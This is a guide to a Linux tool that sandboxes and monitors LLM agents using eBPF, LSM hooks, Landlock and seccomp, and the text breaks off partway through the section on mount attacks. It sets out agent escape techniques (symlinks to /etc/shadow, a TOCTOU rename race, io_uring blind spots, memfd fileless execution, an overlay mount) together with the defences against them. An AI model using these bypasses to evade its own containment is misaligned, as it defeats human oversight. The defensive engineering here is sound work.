

Guardian Shell ? Linux Security Concepts Deep Dive

A Complete Guide for Engineers Date: March 19, 2026 Audience: Junior to senior engineers learning Linux kernel security, eBPF, and defense-in-depth

How to Read This Document

This document explains every security mechanism used in Guardian Shell ? a tool that monitors and restricts what LLM agents can do on a Linux machine. Each section follows a pattern:

1. What is the problem? ? The attack or weakness being addressed
2. What is the Linux concept? ? The kernel feature used to solve it
3. How does Guardian Shell use it? ? Exact code, maps, and data flow
4. A concrete example ? Step-by-step walkthrough an attacker would try and how it gets stopped

If you are new to Linux internals, start from Section 1 and read sequentially ? each section builds on the previous one.

Table of Contents

1. The Big Picture: Why One Layer Is Never Enough
(#1-the-big-picture-why-one-layer-is-never-enough)
2. eBPF: Programmable Kernel Hooks (#2-ebpf-programmable-kernel-hooks)
 - 2.1 What Is eBPF? - 2.2 Tracepoints ? Watching Syscalls - 2.3 BPF Maps ? Kernel-Side Data Structures - 2.4 The Per-CPU Scratch Buffer Pattern
3. LSM Hooks: Kernel-Level Enforcement (#3-lsm-hooks-kernel-level-enforcement)
 - 3.1 What Is a Linux Security Module? - 3.2 The Tracepoint ? PENDING_DENY ? LSM Pattern
 - 3.3 file_open ? Blocking File Access - 3.4 bprm_check_security ? Blocking Program Execution - 3.5 socket_connect ? Blocking Network Connections - 3.6 Inode Hooks ? Blocking Rename, Delete, and Hardlink
4. Symlink Resolution via bpf_d_path() (#4-symlink-resolution-via-bpf_dpath)
 - 4.1 The Symlink Bypass Problem - 4.2 What Is bpf_d_path()? - 4.3 How It Resolves Symlinks at the Kernel Level - 4.4 Before and After: Attack Walkthrough
5. TOCTOU: The Time-of-Check-to-Time-of-Use Race
(#5-toctou-the-time-of-check-to-time-of-use-race)

- 5.1 What Is a TOCTOU Attack? - 5.2 Why Tracepoint-Based Checking Is Vulnerable - 5.3 The Fix: LSM-Only Enforcement

6. Landlock: Inode-Level Filesystem Sandbox (#6-landlock-inode-level-filesystem-sandbox)

- 6.1 What Is Landlock? - 6.2 Why Is It Symlink-Immune? - 6.3 How Guardian Shell Applies Landlock - 6.4 Default-Deny Model - 6.5 Network Port Filtering (Kernel 6.7+) - 6.6 The Full Sandbox Sequence

7. Seccomp: Blocking Dangerous Syscalls (#7-seccomp-blocking-dangerous-syscalls)

- 7.1 What Is Seccomp? - 7.2 io_uring ? The Invisible File I/O Bypass - 7.3 memfd_create + execveat ? Fileless Execution - 7.4 Mount and Namespace Escape - 7.5 The Complete Seccomp Filter

8. Dynamic Linker Detection (#8-dynamic-linker-detection)

- 8.1 The ld-linux Bypass - 8.2 How Guardian Detects It - 8.3 Reading argv[1] in eBPF

9. Inode Hooks: Rename, Unlink, and Hardlink Protection (#9-inode-hooks-rename-unlink-and-hardlink-protection)

- 9.1 The Rename Attack - 9.2 The Hardlink Attack - 9.3 How Guardian Blocks Both

10. Network Enforcement (#10-network-enforcement)

- 10.1 The sys_enter_connect Tracepoint - 10.2 Port-Based Policy Maps - 10.3 LSM socket_connect ? Kernel-Level Blocking - 10.4 DNS Monitoring via Port 53

11. Path Canonicalization and Normalization (#11-path-canonicalization-and-normalization)

- 11.1 The /proc/self/root/ Bypass - 11.2 The ../ Traversal Bypass - 11.3 normalize_path() ? Userspace Quick Fix - 11.4 Path Truncation Safety

12. Strict Enforcement Mode (#12-strict-enforcement-mode)

- 12.1 Monitor vs Enforce vs Strict - 12.2 Why Strict Mode Matters

13. Configurable Fail-Closed Mode (#13-configurable-fail-closed-mode)

- 13.1 Fail-Open vs Fail-Closed - 13.2 Per-Cgroup Fail-Closed via BPF Map

14. The Approval Workflow Security Model (#14-the-approval-workflow-security-model)

- 14.1 Permission Requests and Oneshot Channels - 14.2 Risk Classification (4-Tier Scoring) - 14.3 Rate Limiting and Exponential Backoff - 14.4 Auto-Deny and Auto-Approve - 14.5 Justification Analysis (Social Engineering Detection) - 14.6 Grant Accumulation Limits - 14.7 Risk-Based Configurable Timeouts - 14.8 CLI-Based Permission Approval

15. Anomaly Detection (#15-anomaly-detection)

- 15.1 What Is Anomaly Detection? - 15.2 Rubber-Stamping Detection - 15.3 Request Flood Detection - 15.4 Deny-Then-Approve Persistence Pattern - 15.5 The SQLite Audit Trail

16. Dashboard Authentication (#16-dashboard-authentication)

- 16.1 Bearer Token Authentication - 16.2 Auto-Generated Tokens for Non-Localhost

17. Live BPF Map Sync on Policy Edit (#17-live-bpf-map-sync-on-policy-edit)

- 17.1 The Stale Map Problem - 17.2 Immediate Map Reload on Save

18. SIGHUP Config Reload (#18-sighup-config-reload)

- 18.1 What Is SIGHUP? - 18.2 What Gets Reloaded

19. BTF-Based Portable Tracepoint Offsets (#19-btf-based-portable-tracepoint-offsets)

- 19.1 The Hardcoded Offset Problem - 19.2 What Is BTF? - 19.3 How BTF Makes eBPF Portable

20. The Two Security Tiers (#20-the-two-security-tiers)

21. Summary: All Layers Working Together (#21-summary-all-layers-working-together)

1. The Big Picture: Why One Layer Is Never Enough

Imagine you are building a bank vault. You would not rely on a single lock ? you would use a combination of:

- A reinforced door (physical barrier)
- An alarm system (detection)
- Security cameras (audit trail)
- A guard who checks IDs (access control)

Guardian Shell applies the same principle to Linux security. It uses multiple independent layers, each catching attacks the others might miss:

??			
?	LLM Agent Process	?	
??			
? Layer 1: Landlock	? Inode-level file sandbox	? ? Symlink-immune	
? Layer 2: Seccomp	? Blocks dangerous syscalls	? ? io_uring, memfd, mount	
? Layer 3: eBPF LSM	? Kernel enforcement hooks	? ? file_open, bprm_check	
? Layer 4: eBPF Trace	? Syscall monitoring + logging	? ? Audit trail	
? Layer 5: Cgroup	? Resource limits + identity	? ? CPU, memory, PIDs	
? Layer 6: Approval	? Human-in-the-loop decisions	? ? Rate limiting, risk scoring	
? Layer 7: Anomaly	? Pattern detection on approvals	? ? Rubber-stamping detection	
??			

Each layer is independent ? if one fails, the others still protect. This is called defense-in-depth.

2. eBPF: Programmable Kernel Hooks

2.1 What Is eBPF?

eBPF (extended Berkeley Packet Filter) lets you run small programs inside the Linux kernel without modifying kernel source code or loading kernel modules. Think of it as "JavaScript for the kernel" ? a safe, sandboxed scripting language that the kernel itself executes.

```
????????????????????????????????????????
?      Userspace      ?
?  ??????????????????????????????????????  ?
?  ?      Guardian Daemon (Rust)      ?  ?
?  ?      Reads events, manages      ?  ?
?  ?      policy, serves dashboard  ?  ?
?  ??????????????????????????????????????  ?
?      ? PerfEventArray      ?
????????????????????????????????????????
?      ?      ?
?  ??????????????????????????????????????  ?
?  ?      eBPF Program (Rust?BPF)      ?  ?
?  ?      Runs inside the kernel      ?  ?
?  ?      Hooks: openat, execve,      ?  ?
?  ?      connect, file_open, etc.    ?  ?
?  ??????????????????????????????????????  ?
?      Kernel Space      ?
????????????????????????????????????????
```

Key constraints of eBPF:

- 512-byte stack limit ? you cannot have large local variables
- Bounded loops only ? every loop must have a provable maximum iteration count
- No dynamic memory allocation ? you must use pre-allocated maps
- Verified before execution ? the kernel verifier checks your program is safe before it runs

2.2 Tracepoints ? Watching Syscalls

A syscall (system call) is how a userspace program asks the kernel to do something. When an agent calls `open("/etc/shadow")`, it triggers the `openat` syscall. Guardian attaches eBPF programs to tracepoints ? predefined instrumentation points at syscall entry.

Guardian hooks these tracepoints:

| Tracepoint | Syscall | What It Watches | |-----|-----|-----| |
 sys_enter_openat | openat() | File opens (the most common) | | sys_enter_openat2 |
 openat2() | Newer file open variant (Linux 5.6+) | | sys_enter_open | open() | Legacy
 file open (rare but possible) | | sys_enter_execve | execve() | Program execution | |
 sys_enter_connect | connect() | Network connections | | sys_enter_renameat2 |
 renameat2() | File renames | | sys_enter_unlinkat | unlinkat() | File deletions | |
 sys_enter_linkat | linkat() | Hardlink creation | | sched_process_fork | fork()/clone() |
 | Child process creation | | sched_process_exit | exit() | Process termination |

Example: What happens when an agent reads a file

```
Agent code:  cat /tmp/data.txt
             ?
             ?
Syscall:     openat(AT_FDCWD, "/tmp/data.txt", O_RDONLY)
             ?
             ?
Tracepoint:  sys_enter_openat fires
             ?
             ?
eBPF program: 1. Read filename from syscall args
              2. Check: is this process watched?
              3. Evaluate policy: is /tmp/data.txt allowed?
              4. If denied: set PENDING_DENY map entry
              5. Send event to userspace via PerfEventArray
              ?
              ?
LSM hook:     file_open fires
              1. Check PENDING_DENY map
              2. If entry exists: return -EACCES (block!)
              3. If no entry: return 0 (allow)
              ?
              ?
Result:       Agent gets "Permission denied" or file contents
```

2.3 BPF Maps ? Kernel-Side Data Structures

BPF Maps are data structures shared between the eBPF program (in-kernel) and the userspace daemon. They are the only way to pass data between kernel and userspace in the eBPF model.

Guardian uses several types of maps:

HashMap ? Key-value lookup, like a dictionary:

```
DENY_EXACT map (HashMap):
  Key: "/etc/shadow\0\0\0..." (256 bytes, null-padded)
  Value: 1 (u8, means "this path is denied")
```

Lookup: O(1) ? instant lookup regardless of how many entries exist

LpmTrie (Longest Prefix Match Trie) ? For pattern matching like /tmp/**:

DENY_PREFIXES map (LpmTrie):

Key: { prefix_len: 32, data: "/tmp/" } ? matches anything starting with /tmp/
Value: 1

Matching: "/tmp/secret.txt" ? MATCH (starts with /tmp/)
"/tmp/a/b/c" ? MATCH (starts with /tmp/)
"/home/user/tmp" ? NO MATCH (does not start with /tmp/)

PerCpuArray ? One slot per CPU core, used as scratch buffers:

EVENT_BUF map (PerCpuArray):

CPU 0: [292 bytes of FileAccessEvent scratch space]
CPU 1: [292 bytes of FileAccessEvent scratch space]
CPU 2: [292 bytes of FileAccessEvent scratch space]

...

Why per-CPU? eBPF programs can run on any CPU simultaneously.
If two agents open files at the same time on different CPUs,
each gets its own scratch buffer ? no locking needed.

PerfEventArray ? Ring buffer for streaming events to userspace:

EVENTS map (PerfEventArray):

eBPF writes event ? kernel buffers it ? daemon reads it asynchronously
This is how the dashboard gets real-time file access events.

Here is the complete map inventory (38 maps total):

Identity Maps (who to watch):

WATCHED_COMMS ? 1024 entries ? Process names being monitored
ENFORCE_COMMS ? 1024 entries ? Process names being enforced
WATCHED_CGROUPS ? 1024 entries ? Cgroup IDs being monitored
ENFORCE_CGROUPS ? 1024 entries ? Cgroup IDs being enforced
WATCHED_TGIDS ? 4096 entries ? Thread Group IDs being monitored
ENFORCE_TGIDS ? 4096 entries ? Thread Group IDs being enforced
CHILD_PIDS ? 4096 entries ? Parent?Child PID tracking

File Policy Maps (what files are allowed/denied):

DENY_EXACT ? 1024 entries ? Exact path denials
DENY_PREFIXES ? 1024 entries ? Prefix path denials (/** patterns)
ALLOW_EXACT ? 1024 entries ? Exact path allows
ALLOW_PREFIXES ? 1024 entries ? Prefix path allows
DEFAULT_ACTION ? 1024 entries ? Default action per comm name
CGROUP_DEFAULT_ACTION ? 1024 entries ? Default action per cgroup
PENDING_DENY ? 4096 entries ? Tracepoint?LSM enforcement bridge

Exec Policy Maps (what programs can run):

EXEC_DENY_EXACT, EXEC_DENY_PREFIXES, EXEC_ALLOW_EXACT, EXEC_ALLOW_PREFIXES
EXEC_DEFAULT_ACTION, EXEC_CGROUP_DEFAULT_ACTION
PENDING_EXEC_DENY ? 4096 entries ? Separate from PENDING_DENY (see Section 3.4)

Network Policy Maps (what connections are allowed):

NET_DENY_PORTS, NET_ALLOW_PORTS
NET_DEFAULT_ACTION, NET_CGROUP_DEFAULT_ACTION

PENDING_NET_DENY ? 4096 entries

Inode Protection Maps:

PENDING_RENAME_DENY ? 4096 entries

PENDING_UNLINK_DENY ? 4096 entries

PENDING_LINK_DENY ? 4096 entries

Scratch Buffers (per-CPU work areas):

EVENT_BUF, EXEC_BUF, NET_EVENT_BUF

Event Output (to userspace):

EVENTS, EXEC_EVENTS, NET_EVENTS

Special:

DYNAMIC_LINKERS ? 16 entries ? Known linker paths (see Section 8)

FAIL_CLOSED_CGROUPS ? 1024 entries ? Fail-closed cgroups (see Section 13)

2.4 The Per-CPU Scratch Buffer Pattern

eBPF has a 512-byte stack limit, but `FileAccessEvent` is 292 bytes. You cannot safely put two of these on the stack. The solution is to use `PerCpuArray` as a pre-allocated scratch buffer:

```
// In guardian-ebpf/src/main.rs
#[map]
static EVENT_BUF: PerCpuArray<FileAccessEvent> = PerCpuArray::with_max_entries(1, 0);

// Usage in tracepoint handler:
fn try_guardian_file_open(ctx: &TracePointContext) -> Result<u32, i64> {
    // Get a pointer to the per-CPU buffer (no stack allocation needed!)
    let buf = unsafe {
        let ptr = EVENT_BUF.get_ptr_mut(0).ok_or(1i64)?;
        &mut *ptr
    };

    // Now use buf.filename, buf.pid, etc. safely within the 512-byte stack limit
    buf.pid = (bpf_get_current_pid_tgid() & 0xFFFFFFFF) as u32;
    // ...
}
```

Why is this safe?

- Each CPU gets its own copy ? no race conditions
- eBPF programs run with interrupts disabled on their CPU ? no preemption
- The buffer is pre-allocated when the map is created ? no runtime allocation

3. LSM Hooks: Kernel-Level Enforcement

3.1 What Is a Linux Security Module?

A Linux Security Module (LSM) is a framework that lets security systems hook into kernel decisions. When the kernel is about to do something security-sensitive (open a file, execute a program, create a socket), it calls LSM hooks. Any registered security module can inspect the request and return an error to block it.

```
Application calls open("/etc/shadow")
    ?
    ?
VFS layer (kernel)
    ?
    ?
Permission checks (DAC ? user/group/other)
    ?
    ?
LSM hooks called: ??? Guardian's eBPF LSM programs run here
- security_file_open()
- security_inode_permission()
    ?
    ?
If LSM returns -EACCES: BLOCKED
If LSM returns 0:         allowed, kernel proceeds to open file
```

BPF LSM (since Linux 5.7) lets you write LSM hooks in eBPF. This is how Guardian enforces policy at the kernel level ? the agent's process gets an error back from the syscall itself. There is no userspace round-trip.

3.2 The Tracepoint ? PENDING_DENY ? LSM Pattern

This is Guardian's core enforcement pattern. Understanding it is key to understanding the entire system.

The problem: Tracepoints run at syscall entry and can read syscall arguments (like filenames). LSM hooks run later but have access to kernel-internal state. You want the tracepoint's path knowledge combined with the LSM's enforcement power.

The solution: Use a BPF HashMap as a bridge between the two:

Timeline of a single `openat()` syscall:
??

```
Time T1: sys_enter_openat tracepoint fires
    ?
    ?? Read filename from syscall args
    ?? Check policy: is this file denied?
    ?? If denied: PENDING_DENY.insert(pid_tgid, 1)
    ?             ?????????????????????????????????????
    ?             This is the "bridge" ? a marker
    ?             that says "block this operation"
    ?
Time T2: Kernel continues processing the openat syscall...
VFS resolves the path, checks permissions...
    ?
```



```

Time T3: file_open LSM hook fires
    ?
    ?? Check: does PENDING_DENY[pid_tgid] exist?
    ?? If yes: remove the entry, return -EACCES (BLOCKED)
    ?? If no: return 0 (allowed)
    ?
Time T4: Syscall returns to userspace
    Agent sees: EACCES (Permission denied)

```

Why not just enforce in the tracepoint? Tracepoints cannot block syscalls ? they are observation points only. Only LSM hooks can return error codes that block operations.

Why not just read the path in the LSM? Reading userspace-provided paths in LSM context is complex and unreliable. The tracepoint is designed to read syscall arguments safely.

3.3 file_open ? Blocking File Access

```

// In guardian-ebpf/src/main.rs
#[lsm(hook = "file_open")]
pub fn guardian_enforce(ctx: LsmContext) -> i32 {
    let pid_tgid = bpf_get_current_pid_tgid();

    // Check if tracepoint marked this for denial
    match PENDING_DENY.get(&pid_tgid) {
        Some(_) => {
            // Remove the marker (it's one-time use)
            PENDING_DENY.remove(&pid_tgid);
            -13 // -EACCES: Permission denied
        }
        None => 0, // No marker: allow the operation
    }
}

```

The agent sees:

```

$ cat /etc/shadow
cat: /etc/shadow: Permission denied

```

3.4 bprm_check_security ? Blocking Program Execution

Why a separate PENDING_EXEC_DENY map? This is a subtle but critical design decision.

When the kernel processes `execve("/usr/bin/curl")`:

1. `sys_enter_execve` tracepoint fires ? sets `PENDING_EXEC_DENY[pid_tgid] = 1`
2. The kernel internally opens the binary file to read it
3. This internal open triggers `file_open` LSM hook!
4. If `PENDING_EXEC_DENY` shared a map with `PENDING_DENY`, the `file_open` hook would consume the entry
5. By the time `bprm_check_security` fires, the entry is already gone ? `exec` is not blocked!

WRONG (shared map):

```
execve tracepoint ? PENDING_DENY[pid] = 1
kernel opens binary ? file_open LSM reads PENDING_DENY[pid] ? consumed!
bprm_check_security ? PENDING_DENY[pid] = empty ? exec ALLOWED ? BUG!
```

CORRECT (separate maps):

```
execve tracepoint ? PENDING_EXEC_DENY[pid] = 1
kernel opens binary ? file_open LSM reads PENDING_DENY[pid] ? empty, OK
bprm_check_security ? PENDING_EXEC_DENY[pid] = 1 ? exec BLOCKED ?
```

3.5 socket_connect ? Blocking Network Connections

Same pattern for network enforcement:

```
connect() called with dest=evil.com:8080
?
Time T1: sys_enter_connect tracepoint
?? Parse sockaddr: family=AF_INET, port=8080, ip=93.184.216.34
?? Check NET_DENY_PORTS: port 8080 denied? YES
?? PENDING_NET_DENY.insert(pid_tgid, 1)
?
Time T2: socket_connect LSM hook
?? Check PENDING_NET_DENY[pid_tgid]: exists!
?? Remove entry, return -ECONNREFUSED (-111)
?
Result: Agent gets "Connection refused"
```

The -ECONNREFUSED error code is deliberate ? it is the same error the agent would see if the server was actually down. This gives fewer clues to the agent that it is being monitored.

3.6 Inode Hooks ? Blocking Rename, Delete, and Hardlink

Three additional LSM hooks protect against filesystem manipulation:

Hook	Protects Against	Error Code
inode_rename	mv /etc/shadow /tmp/readable	-EACCES
inode_unlink	rm /etc/important-config	-EACCES
inode_link	ln /etc/shadow /tmp/mylink	-EACCES

Each follows the same tracepoint ? PENDING ? LSM pattern with its own dedicated map.

4. Symlink Resolution via bpf_d_path()

4.1 The Symlink Bypass Problem

This is the #1 CRITICAL vulnerability in path-based security systems. Here is the attack:

```
# The agent wants to read /etc/shadow (which is denied)
# Instead of asking directly, it creates a symlink:
```

```

$ ln -s /etc/shadow /tmp/totally-harmless.txt

# Now it reads through the symlink:
$ cat /tmp/totally-harmless.txt

# What Guardian's tracepoint sees:
#   openat("/tmp/totally-harmless.txt")
#
# What it checks against policy:
#   Is /tmp/totally-harmless.txt denied? NO (it's in /tmp/**)
#   Is /tmp/totally-harmless.txt allowed? YES (/tmp/** is allowed)
#   ? ALLOW
#
# But the file it actually reads is /etc/shadow!

```

The problem: the eBPF tracepoint sees the path string the agent provided, not the actual file the kernel will open. Symlinks, bind mounts, and /proc/self/root/ all exploit this gap.

4.2 What Is bpf_d_path()?

bpf_d_path() is a BPF helper function available since Linux 5.11. It takes a kernel struct path (which represents a resolved file) and returns the canonical path ? the path after the kernel has:

- Followed all symlinks
- Resolved all mount points
- Walked the dentry (directory entry) cache
- Produced the real, absolute path to the actual inode

```

Userspace path:  "/tmp/totally-harmless.txt"
                  ?
                  kernel resolves symlink
                  ?
                  ?
bpf_d_path():    "/etc/shadow"      ? the REAL path

```

4.3 How It Resolves Symlinks at the Kernel Level

Inside the kernel, every open file has a struct file which contains a struct path. This path points to the actual inode (the real file on disk), not the symlink name.

bpf_d_path() walks the dentry tree upward from this inode to reconstruct the true path:

```

Dentry cache (kernel internal):
/          ? root
??? etc/
?   ??? shadow ? inode #12345 (the REAL file)
??? tmp/
?   ??? totally-harmless.txt ? (symlink to inode #12345)

```

When agent opens "/tmp/totally-harmless.txt":

- VFS follows symlink ? resolves to inode #12345
- struct file.f_path points to the dentry for /etc/shadow
- bpf_d_path() walks: shadow ? etc ? / = "/etc/shadow"

4.4 Before and After: Attack Walkthrough

BEFORE (tracepoint-only enforcement):

```
Agent: ln -s /etc/shadow /tmp/harmless && cat /tmp/harmless
Tracepoint sees: "/tmp/harmless" ? allow rule matches ? ALLOWED
Agent reads /etc/shadow content ? SECURITY BREACH
```

AFTER (LSM with bpf_d_path()):

```
Agent: ln -s /etc/shadow /tmp/harmless && cat /tmp/harmless
Tracepoint sees: "/tmp/harmless" ? logs the raw path for audit
LSM file_open: bpf_d_path() returns "/etc/shadow" ? DENY ? -EACCES
Agent gets: "Permission denied" ? ATTACK BLOCKED
```

AFTER (Landlock ? Guardian's current Phase 10 approach):

```
Agent: ln -s /etc/shadow /tmp/harmless && cat /tmp/harmless
Landlock: kernel resolves to inode of /etc/shadow
           ? inode not in Landlock allow set ? -EACCES
Agent gets: "Permission denied" ? ATTACK BLOCKED
```

5. TOCTOU: The Time-of-Check-to-Time-of-Use Race

5.1 What Is a TOCTOU Attack?

TOCTOU (Time-of-Check-to-Time-of-Use) is a race condition where the system checks a condition at one moment, then acts on it at a later moment ? and an attacker changes things in between.

Real-world analogy:

1. Security guard checks your ID at the door (TIME OF CHECK)
2. You walk through the lobby toward the vault (TIME GAP)
3. During the walk, someone swaps your ID badge with a fake one
4. You present the badge at the vault (TIME OF USE)
5. The vault sees a valid badge and opens

5.2 Why Tracepoint-Based Checking Is Vulnerable

```
Time T1: Tracepoint fires, reads filename from userspace memory
         path = "/tmp/safe-file.txt"
         Policy check: allowed ?
         Does NOT set PENDING_DENY
```

```

Time T2:      ?????????????????????????????????????????
? ATTACKER THREAD runs simultaneously: ?
? rename("/tmp/safe-file.txt",           ?
?      "/tmp/backup.txt")                ?
? rename("/etc/shadow",                  ?
?      "/tmp/safe-file.txt")             ?
????????????????????????????????????????
The path now points to /etc/shadow!

```

```

Time T3: file_open LSM fires
        PENDING_DENY is empty ? allows access
        But the file at "/tmp/safe-file.txt" is now /etc/shadow!
        ? SECURITY BREACH

```

5.3 The Fix: LSM-Only Enforcement

When policy evaluation happens inside the LSM hook using `bpf_d_path()`:

```

Time T1: Tracepoint fires (used for logging/audit only, no enforcement)

```

```

Time T2: Attacker renames files (doesn't matter!)

```

```

Time T3: file_open LSM fires
        bpf_d_path() reads the ACTUAL file the kernel has already resolved
        This is the inode the kernel committed to ? it cannot change
        Policy check against resolved path: /etc/shadow ? DENIED
        ? ATTACK BLOCKED

```

The key insight: by Time T3, the kernel has already decided which file to open. `bpf_d_path()` reads this committed decision. The attacker's rename happened on a different dentry ? it does not affect the file handle the kernel already resolved.

Landlock provides even stronger protection because it operates on inodes (the underlying file identity), not paths at all. An inode is a unique number assigned to each file on disk. No matter how many names (paths, symlinks, hardlinks) point to it, the inode is always the same.

6. Landlock: Inode-Level Filesystem Sandbox

6.1 What Is Landlock?

Landlock is a Linux security module (available since Linux 5.13) that allows unprivileged processes to sandbox themselves. Unlike traditional LSMs (AppArmor, SELinux) which require root to configure, Landlock is designed for self-restriction.

Think of it as a process saying: "From this point forward, I can only access these specific files and directories. I cannot undo this restriction."

```

BEFORE Landlock:
    Process can access:  everything the user can access

```

```

/etc/shadow      ? (if user has permission)
/home/user/*     ?
/tmp/*           ?
Network: any port ?

```

AFTER Landlock restrict_self():

```

Process can access: ONLY what was explicitly allowed
/etc/shadow        ? BLOCKED (not in allow set)
/home/user/project ? (explicitly allowed)
/tmp/*             ? (explicitly allowed)
Network: port 443  ? (explicitly allowed)
Network: port 22   ? BLOCKED

```

6.2 Why Is It Symlink-Immune?

Landlock operates on inodes, not path strings. When you add a rule allowing access to /tmp, Landlock:

1. Opens /tmp to get a file descriptor
2. Resolves the file descriptor to the inode of the /tmp directory
3. Stores: "allow access to inode #54321 and its children"

When a process later accesses a file:

1. The kernel resolves the path to an inode (following all symlinks)
2. Landlock checks: "is this inode, or any of its parent inodes, in the allow set?"
3. If not: -EACCES

Attack: `ln -s /etc/shadow /tmp/harmless`

Landlock allow set: { inode(/tmp), inode(/home/user/project) }

Agent opens "/tmp/harmless":

1. Kernel resolves: /tmp/harmless ? symlink ? /etc/shadow ? inode #12345
2. Landlock checks: is inode #12345 under inode(/tmp)? NO
(inode #12345 belongs to /etc/shadow, which is under /etc/)
3. Is inode #12345 under inode(/home/user/project)? NO
4. Result: -EACCES ? BLOCKED

The symlink is irrelevant ? Landlock never looks at the path string.

6.3 How Guardian Shell Applies Landlock

Guardian applies Landlock in guardian-launch (the agent launcher) before exec'ing the agent. The code is in guardian-launch/src/main.rs:309-435.

Step 1: Require default-deny policy

```

if config.file_default != "deny" {
    log::warn!("Landlock skipped: file_access.default='{}' (requires 'deny')", ...);
    return Ok(()); // Landlock is inherently default-deny; skip if policy is default-allow
}

```

Step 2: Create ruleset with filesystem rights

```
let fs_access = AccessFs::from_all(abi); // All filesystem operations to control
let mut ruleset = Ruleset::default()
    .handle_access(fs_access)? // Control file access
    .handle_access(AccessNet::ConnectTcp)? // Control TCP connections
    .create()?;
```

Step 3: Add system paths needed for basic operation

Every process needs certain files just to start (shared libraries, DNS config, device files):

```
let system_read_paths = [
    "/usr/lib", "/usr/lib64", "/lib", "/lib64", // Shared libraries
    "/usr/share", // Data files
    "/etc/ld.so.cache", "/etc/ld.so.conf", // Dynamic linker config
    "/etc/resolv.conf", "/etc/hosts", // DNS resolution
    "/etc/nsswitch.conf", // Name service switch
    "/etc/passwd", "/etc/group", // User/group lookups
    "/dev/null", "/dev/zero", // Standard devices
    "/dev/urandom", "/dev/random", // Random number generators
];

for path in &system_read_paths {
    if Path::new(path).exists() {
        let fd = PathFd::new(path)?;
        ruleset = ruleset.add_rule(
            PathBeneath::new(fd, read_exec_rights) // Read + execute (no write!)
        )?;
    }
}
```

Step 4: Add agent's allowed paths from policy

```
for pattern in &config.file_allow {
    let base_path = strip_glob(pattern); // "/tmp/**" ? "/tmp"
    if Path::new(&base_path).exists() {
        let fd = PathFd::new(&base_path)?;
        ruleset = ruleset.add_rule(
            PathBeneath::new(fd, read_rights | write_rights)
        )?;
    }
}
```

Step 5: Irreversible enforcement

```
let status = ruleset.restrict_self()?; // IRREVERSIBLE ? cannot be undone
```

After this call, the process (and all its children after exec) cannot access any file not in the allow set. The process cannot remove or weaken this restriction.

6.4 Default-Deny Model

Landlock is fundamentally default-deny. You don't tell it what to block ? you tell it what to allow, and everything else is blocked. This is the opposite of a blocklist approach:

Blocklist approach (eBPF deny rules):

```
"Block /etc/shadow, /etc/sudoers, /root/**"
```

Problem: What about /etc/ssl/private? /var/lib/mysql? You'll miss something.

Allowlist approach (Landlock):

```
"Allow /tmp/**, /home/user/project/**, /proc/self/**"
```

Everything else is automatically blocked ? including paths you didn't think of.

This is why Guardian's Landlock integration only works with `file_access.default = "deny"`. An agent configured with `default = "allow"` cannot use Landlock because the models are incompatible.

6.5 Network Port Filtering (Kernel 6.7+)

Landlock ABI v4 (Linux 6.7) adds TCP connect filtering:

```
if has_net {
    for &port in &config.net_allow_ports {
        ruleset = ruleset.add_rule(
            NetPort::new(port, AccessNet::ConnectTcp)
        );
    }
}
```

This restricts which TCP ports the agent can connect to. For example, allowing only ports 80 and 443 blocks SSH (22), database (3306, 5432), and all other outbound connections.

Limitation: Landlock TCP filtering only covers `connect()` calls. Raw UDP `sendto()` without prior `connect()` is not filtered.

6.6 The Full Sandbox Sequence

The complete order of operations in guardian-launch:

1. Create cgroup (/sys/fs/cgroup/guardian/agent-12345)
2. Enable controllers (memory, pids, cpu)
3. Set resource limits (memory.max, pids.max, cpu.max)
4. Get cgroup ID (inode number of cgroup directory)
5. Register with Guardian daemon via IPC
 - ?? Daemon responds with SandboxConfig containing policy
6. Move self into cgroup (write PID to cgroup.procs)
7. `PR_SET_NO_NEW_PRIVS` ? Required by Landlock
 - ?? Prevents SUID binaries from gaining elevated privileges
8. `LANDLOCK_restrict_self()` ? Inode-level filesystem sandbox
 - ?? Irreversible, inherited by exec'd process

- 9. SECCOMP apply_filter() ? Block dangerous syscalls
?? Inherited by exec'd process
- 10. exec(agent_command) ? Replace launcher with agent
?? Agent inherits: cgroup + Landlock + seccomp + no_new_privs
?? Agent CANNOT escape any of these

7. Seccomp: Blocking Dangerous Syscalls

7.1 What Is Seccomp?

Seccomp (Secure Computing Mode) is a Linux kernel feature that restricts which syscalls a process can make. It uses BPF (the same bytecode format as eBPF, but simpler) to filter syscalls at the kernel entry point.

Process calls a syscall

?
?

Seccomp BPF filter evaluates:

Is this syscall in the blocked list?

?

??????????

? YES ? NO

? ?

Return Allow

-EPERM through

Seccomp filters are:

- Inherited by all child processes (via fork() and exec())
- Cannot be removed once applied (only made more restrictive)
- Very low overhead ? runs before any syscall logic

7.2 io_uring ? The Invisible File I/O Bypass

The attack:

io_uring is a high-performance asynchronous I/O interface (Linux 5.1+). It bypasses the normal openat() ? read() syscall path entirely. Instead, operations are submitted to a shared ring buffer and processed by the kernel without individual syscalls.

Normal file read (Guardian can see this):

Application ? openat() syscall ? eBPF tracepoint fires ? Guardian monitors
read() syscall ? eBPF tracepoint fires ? Guardian monitors

io_uring file read (Guardian CANNOT see this):

Application ? io_uring_setup() ? creates submission queue
? io_uring_enter() ? submits OPEN + READ operations
? Kernel processes them internally
? No openat() or read() syscalls ever fire

```
? eBPF tracepoints never trigger
? Guardian is completely blind!
```

The fix: Block io_uring syscalls via seccomp

```
// Syscall numbers (x86_64)
const SYS_IO_URING_SETUP: i64 = 425;
const SYS_IO_URING_ENTER: i64 = 426;
const SYS_IO_URING_REGISTER: i64 = 427;

// These are blocked with EPERM ? the agent gets "Operation not permitted"
// and must fall back to normal read()/write() which Guardian CAN monitor
```

7.3 memfd_create + execveat ? Fileless Execution

The attack:

memfd_create() creates a file that exists only in memory ? it has no path on the filesystem. An agent can write a malicious binary into this memory file, then execute it with execveat() using the AT_EMPTY_PATH flag:

```
# Pseudocode of the attack:
fd = memfd_create("innocent", 0)      # Create anonymous memory file
write(fd, malicious_binary_content)  # Write executable code into it
execveat(fd, "", argv, envp, AT_EMPTY_PATH) # Execute directly from fd

# What Guardian sees for the exec:
#   Path: "/memfd:innocent" or empty string
#   This path doesn't match any deny rules!
#   The binary never existed on disk ? nothing to scan
```

The fix: Block memfd_create via seccomp + deny /memfd: paths

```
// Seccomp blocks the syscall entirely:
const SYS_MEMFD_CREATE: i64 = 319;
// Agent gets EPERM ? cannot create memory-only files at all

// Additionally, exec policy has default deny for /memfd: paths
// as a defense-in-depth measure
```

7.4 Mount and Namespace Escape

An agent could try to escape its sandbox by manipulating mount points or entering different namespaces:

```
# Mount attack: overlay a different filesystem on top of a denied directory
mount -t overlay overlay -o lowerdir=/etc,upperdir=/tmp/evil /etc
